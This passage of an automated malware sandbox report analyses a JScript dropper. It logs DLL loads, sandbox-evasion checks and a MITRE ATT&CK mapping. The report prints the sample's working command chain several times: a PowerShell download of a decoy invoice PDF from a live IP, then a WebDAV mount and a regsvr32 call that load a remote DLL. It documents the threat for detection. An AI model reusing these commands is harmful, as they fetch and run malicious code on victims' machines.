Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9591.js.csv");ITextStream.WriteLine(" entry:7383 f:tpfxcnkf");ITextStream.WriteLine(" exec:2 f:tpfxcnkf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4815			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5026			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 4815 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep count: 5026 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8068	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1452783294.0000026649438000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1452783294.000002664949B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2678810116.0000027E6F057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2677455590.0000027E69A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2677421238.0000027E69A2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
